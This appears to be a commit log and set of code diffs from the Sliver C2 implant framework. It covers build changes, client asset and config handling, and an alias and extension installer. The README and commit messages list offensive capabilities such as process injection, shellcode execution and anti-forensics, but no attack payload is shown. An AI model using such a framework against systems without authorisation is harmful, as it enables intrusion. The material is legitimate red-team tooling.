moloch-- 69842674d2 implemented ifconfig 2021-09-25 15:34:23 -05:00
moloch-- b2f9ccfab6 Task fetch for ssh, and env tasks 2021-09-25 14:34:53 -05:00
moloch-- 358b6ab20d Implemented task fetch for exec pkg 2021-09-25 13:34:52 -05:00
moloch-- 268db3ce00 Implemented more task fetch renderers 2021-09-25 12:10:24 -05:00
moloch-- 03dfb2f5d9 Added command to fetch old task results 2021-09-25 10:07:29 -05:00
moloch-- d4e809d889 Updated ssh to work with beacon 2021-09-25 08:44:38 -05:00
moloch-- 6f6fd8f0f5 Updated spawndll client cmd 2021-09-25 08:21:45 -05:00
moloch-- f5e374293c Updated server-side rpc's for execute-assembly, sideload, spawndll 2021-09-25 07:56:36 -05:00
moloch-- 8f12e35124 Ported msf/msf-remote to support beacon 2021-09-25 07:06:27 -05:00
moloch-- b27809d9ba Added beacon support to execute-shellcode 2021-09-24 22:52:13 -05:00
moloch-- 377d56bda3 Added beacon support to execute-assembly 2021-09-24 22:35:46 -05:00
moloch-- 4bcb0cb61f Only paginate on 2x terminal sized tables 2021-09-24 20:46:17 -05:00
moloch-- 9d6870e792 UX improvements 2021-09-24 19:34:44 -05:00
moloch-- 93b1e3a7b4 Fix use context switch 2021-09-23 20:37:06 -05:00
moloch-- 90f799a6f2 UX improvements 2021-09-23 19:23:13 -05:00
moloch-- 251423bc28 Improved beacon ux 2021-09-23 15:38:57 -05:00
moloch-- 03957f4d01 Fix next/last checkin for beacons 2021-09-23 13:50:31 -05:00
moloch-- a7d07e372a Bug fixes to http(s) beacons 2021-09-23 08:42:55 -05:00
moloch-- 364b0d6f57 Added http close() 2021-09-22 14:42:58 -05:00
moloch-- 52ef179988 Improved comments 2021-09-22 07:52:55 -05:00
moloch-- 79a50d24fe Go v1.17.1 2021-09-21 09:19:50 -05:00
moloch-- 4e23091147 Send hash of public key instead of public key 2021-09-20 19:02:19 -05:00
moloch-- 98e7f7abf8 New key exchange working 2021-09-20 18:32:54 -05:00
moloch-- 92e833a481 Fixes/refactor to mtls 2021-09-20 17:30:53 -05:00
moloch-- b442f95a7b Major refactor of core crypto 2021-09-20 16:33:36 -05:00
moloch-- da8d5b8a0c wip on pivots 2021-09-19 20:41:46 -05:00
moloch-- 3151b559a6 Added chacha20poly1305 to cryptography 2021-09-17 16:36:33 -05:00
moloch-- b02489a5d3 Fixes/updates operators status command 2021-09-14 19:13:42 -05:00
moloch-- eb57802c28 More strict auth checks in middleware 2021-09-14 16:45:31 -05:00
Joe 767644ddc3 Merge pull request #510 from RafBishopFox/stage
A small fix for ls
2021-09-13 17:15:29 -05:00
Raf 185913c6eb client/command/filesystem/ls: Fix an off-by-one error that prevented the ls command from operating against the root of the drive. 2021-09-13 15:22:29 -04:00
moloch-- e3093bee6e Implemented a real kick-operator cmd 2021-09-11 23:18:24 -05:00
moloch-- f6014393be Added per-operator call credentials 2021-09-11 22:39:32 -05:00
moloch-- 90de40f1ee gofmt 2021-09-11 19:57:15 -05:00
rkervella cc2a5bb622 Refactor 2021-09-10 17:27:59 +02:00
rkervella 3d7889183a Revert "Refactoring"
This reverts commit de7fd664cd.
2021-09-10 16:17:49 +02:00
rkervella d2297f9423 Revert "Escape string before JSON parsing"
This reverts commit 1549b894fa.
2021-09-10 16:13:47 +02:00
rkervella de7fd664cd Refactoring 2021-09-10 15:25:05 +02:00
rkervella 1549b894fa Escape string before JSON parsing 2021-09-10 13:39:59 +02:00
rkervella 32119e09dc Add PID to bof result 2021-09-10 12:31:26 +02:00
rkervella 4dd5319987 Check for nil pointer 2021-09-10 11:06:46 +02:00
rkervella 860452c418 Removed comment 2021-09-10 10:51:55 +02:00
rkervella 4d64866a15 Remove commented code 2021-09-09 10:19:27 +02:00
rkervella 1d859f99c8 Initial BOF support for Prelude Operator 2021-09-08 13:55:31 +02:00
rkervella c3f5f2bf85 Remove logging 2021-09-05 10:53:37 +02:00
1521 changed files with 2845412 additions and 26593 deletions

No files matched your search

+2 -1
View File
@@ -24,9 +24,10 @@ Contributing to Sliver
* _Never_ use homegrown or non-peer reviewed encryption or random number generation algorithms.
* Whenever possible, use the following algorithms/encryption modes:
- AES-GCM-256
- RSA-OAEP-2048 / RSA-OAEP-4096
- SHA2-256 / HMAC-SHA2-256 or higher (e.g. SHA2-384)
- Curves P521, P384, P256
- Curve25519, XSalsa20, and Poly1305 (Nacl)
- ChaCha20Poly1305
* _Never_ use the following in a security context, and _avoid_ use even in a non-security context:
- MD5
- SHA1
+1 -1
View File
@@ -1,4 +1,4 @@
FROM golang:1.17
FROM golang:1.17.5
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
+33 -39
View File
@@ -3,8 +3,8 @@
#
GO ?= go
ENV = CGO_ENABLED=1
TAGS = -tags osusergo,netgo,sqlite_omit_load_extension
ENV =
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
#
# Version Information
@@ -13,16 +13,21 @@ GO_VERSION = $(shell $(GO) version)
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
PKG = github.com/bishopfox/sliver/client/version
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
LDFLAGS = -ldflags "-s -w \
-X $(PKG).Version=$(VERSION) \
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
-X $(PKG).CompiledAt=$(COMPILED_AT) \
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(PKG).GitCommit=$(GIT_COMMIT) \
-X $(PKG).GitDirty=$(GIT_DIRTY)"
-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
#
@@ -41,54 +46,42 @@ UNAME_P := $(shell uname -p)
# If the target is Windows from Linux/Darwin, check for mingw
CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
ifneq (,$(findstring cgosqlite,$(TAGS)))
ENV +=CGO_ENABLED=1
ifeq ($(MAKECMDGOALS), windows)
K := $(foreach exec,$(CROSS_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
endif
endif
# Programs required for generating protobuf/grpc files
PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
ifeq ($(MAKECMDGOALS), pb)
K := $(foreach exec,$(PB_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
$(if $(shell which $(exec)),some string,$(error "Missing protobuf util $(exec) in PATH")))
endif
# *** Start Darwin ***
# *** Darwin ***
ifeq ($(UNAME_S),Darwin)
SED_INPLACE := sed -i ''
STATIC_TARGET := macos
endif
ifeq ($(UNAME_P),arm)
ENV += GOARCH=arm64
endif
ifeq ($(MAKECMDGOALS), windows)
K := $(foreach exec,$(CROSS_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
endif
endif
# *** End Darwin ***
# *** Start Linux ***
ifeq ($(UNAME_S),Linux)
ifeq ($(MAKECMDGOALS), windows)
K := $(foreach exec,$(CROSS_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
endif
endif
ifeq ($(MAKECMDGOALS), linux)
# Redefine LDFLAGS to add the static part
LDFLAGS = -ldflags "-s -w \
-extldflags '-static' \
-X $(PKG).Version=$(VERSION) \
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
-X $(PKG).CompiledAt=$(COMPILED_AT) \
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(PKG).GitCommit=$(GIT_COMMIT) \
-X $(PKG).GitDirty=$(GIT_DIRTY)"
-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY)"
endif
# *** End Linux ***
#
# Targets
@@ -123,6 +116,7 @@ pb:
protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
.PHONY: clean-all
@@ -136,4 +130,4 @@ clean-all: clean
.PHONY: clean
clean:
rm -f sliver-client_arm64 sliver-server_arm64
rm -f sliver-client sliver-server *.exe
rm -f sliver-client sliver-server sliver-*.exe
+4 -1
View File
@@ -20,9 +20,11 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
* Local and remote process injection
* Windows process migration
* Windows user token manipulation
* Anti-anti-anti-forensics
* Anti-fingerprinting features
* Let's Encrypt integration
* In-memory .NET assembly execution
* COFF/BOF in-memory loader
* Much more!
### Getting Started
@@ -43,3 +45,4 @@ See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+1 -9
View File
@@ -1,9 +1 @@
fs/*.zip
fs/extensions/darwin/amd64/
fs/extensions/darwin/arm64/
fs/extensions/linux/amd64/
fs/extensions/windows/amd64/
fs/extensions/darwin/386/
fs/extensions/darwin/386/
fs/extensions/linux/386/
fs/extensions/windows/386/
fs/**
+65
View File
@@ -0,0 +1,65 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"log"
"os"
"path/filepath"
)
const (
AliasesDirName = "aliases"
)
// GetAliasesDir - Returns the path to the config dir
func GetAliasesDir() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
dir := filepath.Join(rootDir, AliasesDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
// GetInstalledAliasManifests - Returns a list of installed alias manifests
func GetInstalledAliasManifests() []string {
aliasDir := GetAliasesDir()
aliasDirContent, err := ioutil.ReadDir(aliasDir)
if err != nil {
log.Printf("error loading aliases: %s", err)
return []string{}
}
manifests := []string{}
for _, fi := range aliasDirContent {
if fi.IsDir() {
manifestPath := filepath.Join(aliasDir, fi.Name(), "alias.json")
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
log.Printf("no manifest in %s, skipping ...", manifestPath)
continue
}
manifests = append(manifests, manifestPath)
}
}
return manifests
}
+63
View File
@@ -0,0 +1,63 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"io/ioutil"
"os"
"path/filepath"
)
const (
armoryConfigFileName = "armories.json"
)
var (
DefaultArmoryPublicKey string
DefaultArmoryRepoURL string
defaultArmoryConfig = &ArmoryConfig{
PublicKey: DefaultArmoryPublicKey,
RepoURL: DefaultArmoryRepoURL,
}
)
type ArmoryConfig struct {
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
}
// GetArmoriesConfig - The parsed armory config file
func GetArmoriesConfig() []*ArmoryConfig {
armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
return []*ArmoryConfig{defaultArmoryConfig}
}
data, err := ioutil.ReadFile(armoryConfigPath)
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
var armoryConfigs []*ArmoryConfig
err = json.Unmarshal(data, &armoryConfigs)
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
return append(armoryConfigs, defaultArmoryConfig)
}
+40 -62
View File
@@ -21,11 +21,11 @@ package assets
import (
"embed"
"fmt"
"io/fs"
"io/ioutil"
"log"
"os"
"os/user"
"path"
"path/filepath"
"strings"
@@ -33,35 +33,21 @@ import (
)
var (
//go:embed fs/extensions/*
assetsFs embed.FS
//go:embed fs/*
clientAssetsFs embed.FS
)
const (
// SliverClientDirName - Directory storing all of the client configs/logs
SliverClientDirName = ".sliver-client"
// SliverExtensionsDirName - Directory storing the client side extensions
SliverExtensionsDirName = "extensions"
versionFileName = "version"
versionFileName = "version"
)
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
func GetRootAppDir() string {
user, _ := user.Current()
dir := path.Join(user.HomeDir, SliverClientDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
func GetExtensionsDir() string {
user, _ := user.Current()
dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
dir := filepath.Join(user.HomeDir, SliverClientDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
@@ -73,7 +59,7 @@ func GetExtensionsDir() string {
func assetVersion() string {
appDir := GetRootAppDir()
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
data, err := ioutil.ReadFile(filepath.Join(appDir, versionFileName))
if err != nil {
return ""
}
@@ -81,7 +67,7 @@ func assetVersion() string {
}
func saveAssetVersion(appDir string) {
versionFilePath := path.Join(appDir, versionFileName)
versionFilePath := filepath.Join(appDir, versionFileName)
fVer, _ := os.Create(versionFilePath)
defer fVer.Close()
fVer.Write([]byte(ver.GitCommit))
@@ -93,9 +79,14 @@ func Setup(force bool, echo bool) {
localVer := assetVersion()
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf("Unpacking assets ...\n")
fmt.Printf(`
Sliver Copyright (C) 2021 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
fmt.Printf("\n\nUnpacking assets ...\n")
}
err := setupCoffLoaderExt(appDir)
err := setupDefaultExtensions(appDir)
if err != nil {
fmt.Println(err)
log.Fatal(err)
@@ -107,42 +98,29 @@ func Setup(force bool, echo bool) {
}
}
func setupCoffLoaderExt(appDir string) error {
extDir := GetExtensionsDir()
win32ExtDir := path.Join("windows", "386")
win64ExtDir := path.Join("windows", "amd64")
coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
loader64, err := assetsFs.ReadFile(coffLoader64)
if err != nil {
return err
}
loader32, err := assetsFs.ReadFile(coffLoader32)
if err != nil {
return err
}
manifest, err := assetsFs.ReadFile(manifestPath)
if err != nil {
return err
}
localWin32ExtDir := path.Join(extDir, win32ExtDir)
err = os.MkdirAll(localWin32ExtDir, 0700)
if err != nil {
return err
}
localWin64ExtDir := path.Join(extDir, win64ExtDir)
err = os.MkdirAll(localWin64ExtDir, 0700)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
if err != nil {
return err
}
return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
func setupDefaultExtensions(appDir string) error {
localExtDir := GetExtensionsDir()
rootEmbedPath := "fs/extensions"
return fs.WalkDir(clientAssetsFs, rootEmbedPath, func(embedPath string, embedDir fs.DirEntry, err error) error {
if err != nil {
return err
}
localPath := strings.TrimPrefix(embedPath, rootEmbedPath)
if embedDir.IsDir() {
err := os.MkdirAll(filepath.Join(localExtDir, localPath), 0o700)
if err != nil {
return err
}
} else {
data, err := fs.ReadFile(clientAssetsFs, embedPath)
if err != nil {
return err
}
err = ioutil.WriteFile(filepath.Join(localExtDir, localPath), data, 0o600)
if err != nil {
return err
}
}
return nil
})
}
+5 -4
View File
@@ -40,6 +40,7 @@ type ClientConfig struct {
Operator string `json:"operator"` // This value is actually ignored for the most part (cert CN is used instead)
LHost string `json:"lhost"`
LPort int `json:"lport"`
Token string `json:"token"`
CACertificate string `json:"ca_certificate"`
PrivateKey string `json:"private_key"`
Certificate string `json:"certificate"`
@@ -48,7 +49,7 @@ type ClientConfig struct {
// GetConfigDir - Returns the path to the config dir
func GetConfigDir() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
dir := path.Join(rootDir, ConfigDirName)
dir := filepath.Join(rootDir, ConfigDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
@@ -85,11 +86,11 @@ func GetConfigs() map[string]*ClientConfig {
// ReadConfig - Load config into struct
func ReadConfig(confFilePath string) (*ClientConfig, error) {
confFile, err := os.Open(confFilePath)
defer confFile.Close()
if err != nil {
log.Printf("Open failed %v", err)
return nil, err
}
defer confFile.Close()
data, err := ioutil.ReadAll(confFile)
if err != nil {
log.Printf("Read failed %v", err)
@@ -107,11 +108,11 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
// SaveConfig - Save a config to disk
func SaveConfig(config *ClientConfig) error {
if config.LHost == "" || config.Operator == "" {
return errors.New("Empty config")
return errors.New("empty config")
}
configDir := GetConfigDir()
filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
saveTo, _ := filepath.Abs(path.Join(configDir, filename))
saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
configJSON, _ := json.Marshal(config)
err := ioutil.WriteFile(saveTo, configJSON, 0600)
if err != nil {
+66
View File
@@ -0,0 +1,66 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"log"
"os"
"path/filepath"
)
const (
// ExtensionsDirName - Directory storing the client side extensions
ExtensionsDirName = "extensions"
)
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
func GetExtensionsDir() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
dir := filepath.Join(rootDir, ExtensionsDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
// GetInstalledExtensionManifests - Returns a list of installed extension manifests
func GetInstalledExtensionManifests() []string {
extDir := GetExtensionsDir()
extDirContent, err := ioutil.ReadDir(extDir)
if err != nil {
log.Printf("error loading aliases: %s", err)
return []string{}
}
manifests := []string{}
for _, fi := range extDirContent {
if fi.IsDir() {
manifestPath := filepath.Join(extDir, fi.Name(), "extension.json")
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
log.Printf("no manifest in %s, skipping ...", manifestPath)
continue
}
manifests = append(manifests, manifestPath)
}
}
return manifests
}
-16
View File
@@ -1,16 +0,0 @@
[
{
"name": "coff-loader",
"help": "Load and execute Beacon Object Files (BOFs) in memory.",
"entrypoint": "LoadAndRun",
"extFiles": [
{
"os": "windows",
"files": {
"x64": "COFFLoader.x64.dll",
"x86": "COFFLoader.x86.dll"
}
}
]
}
]
@@ -1,4 +1,11 @@
Extensions
Alias
===========
Wraps external DLLs/tool in Sliver console commands.
### Format
* `alias-dir/`
* * `manifest.json` -
+75
View File
@@ -0,0 +1,75 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"strings"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// AliasesCmd - The alias command
func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if 0 < len(loadedAliases) {
PrintAliases(con)
} else {
con.PrintInfof("No aliases loaded\n")
}
}
// PrintAliases - Print a list of loaded aliases
func PrintAliases(con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name",
"Command Name",
".NET Assembly",
"Reflective",
"Help",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
for _, alias := range loadedAliases {
tw.AppendRow(table.Row{
alias.Manifest.Name,
alias.Manifest.CommandName,
alias.Manifest.IsAssembly,
alias.Manifest.IsReflective,
alias.Manifest.Help,
})
}
con.Println(tw.Render())
}
// AliasCommandNameCompleter - Completer for installed extensions command names
func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
results := []string{}
for name := range loadedAliases {
if strings.HasPrefix(name, prefix) {
results = append(results, name)
}
}
return results
}
+90
View File
@@ -0,0 +1,90 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import "testing"
const (
sample1 = `{
"name": "test1",
"command_name": "test1",
"version": "1.0.0",
"repo_url": "https://example.com/",
"help": "some help",
"entrypoint": "foo",
"allow_args": true,
"default_args": "bar",
"is_reflective": true,
"is_assembly": true,
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}`
)
func TestParseAliasManifest(t *testing.T) {
alias1, err := ParseAliasManifest([]byte(sample1))
if err != nil {
t.Errorf("Error parsing alias manifest: %s", err)
}
if alias1.Name != "test1" {
t.Errorf("Expected name to be 'test1', got '%s'", alias1.Name)
}
if alias1.CommandName != "test1" {
t.Errorf("Expected command_name to be 'test1', got '%s'", alias1.CommandName)
}
if alias1.Version != "1.0.0" {
t.Errorf("Expected version to be '1.0.0', got '%s'", alias1.Version)
}
if alias1.RepoURL != "https://example.com/" {
t.Errorf("Expected repo_url to be 'https://example.com/', got '%s'", alias1.RepoURL)
}
if alias1.Help != "some help" {
t.Errorf("Expected help to be 'some help', got '%s'", alias1.Help)
}
if alias1.Entrypoint != "foo" {
t.Errorf("Expected entrypoint to be 'foo', got '%s'", alias1.Entrypoint)
}
if !alias1.AllowArgs {
t.Errorf("Expected allow_args to be true, got false")
}
if alias1.DefaultArgs != "bar" {
t.Errorf("Expected default_args to be 'bar', got '%s'", alias1.DefaultArgs)
}
if !alias1.IsReflective {
t.Errorf("Expected is_reflective to be true, got false")
}
if !alias1.IsAssembly {
t.Errorf("Expected is_assembly to be true, got false")
}
}
+174
View File
@@ -0,0 +1,174 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// AliasesInstallCmd - Install an alias
func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
aliasLocalPath := ctx.Args.String("path")
fi, err := os.Stat(aliasLocalPath)
if os.IsNotExist(err) {
con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
return
}
if !fi.IsDir() {
InstallFromFile(aliasLocalPath, false, con)
} else {
installFromDir(aliasLocalPath, con)
}
}
// Install an extension from a directory
func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
return
}
manifest, err := ParseAliasManifest(manifestData)
if err != nil {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Alias '%s' already exists", manifest.Name)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nError creating alias directory: %s\n", err)
return
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return
}
for _, cmdFile := range manifest.Files {
if cmdFile.Path != "" {
src := filepath.Join(aliasLocalPath, util.ResolvePath(cmdFile.Path))
dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
err := util.CopyFile(src, dst)
if err != nil {
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
forceRemoveAll(installPath)
return
}
}
}
con.Printf("done!\n")
}
// Install an extension from a .tar.gz file
func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil {
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
return nil
}
manifest, err := ParseAliasManifest(manifestData)
if err != nil {
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
return nil
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if !autoOverwrite {
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return nil
}
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nFailed to create alias directory: %s\n", err)
return nil
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
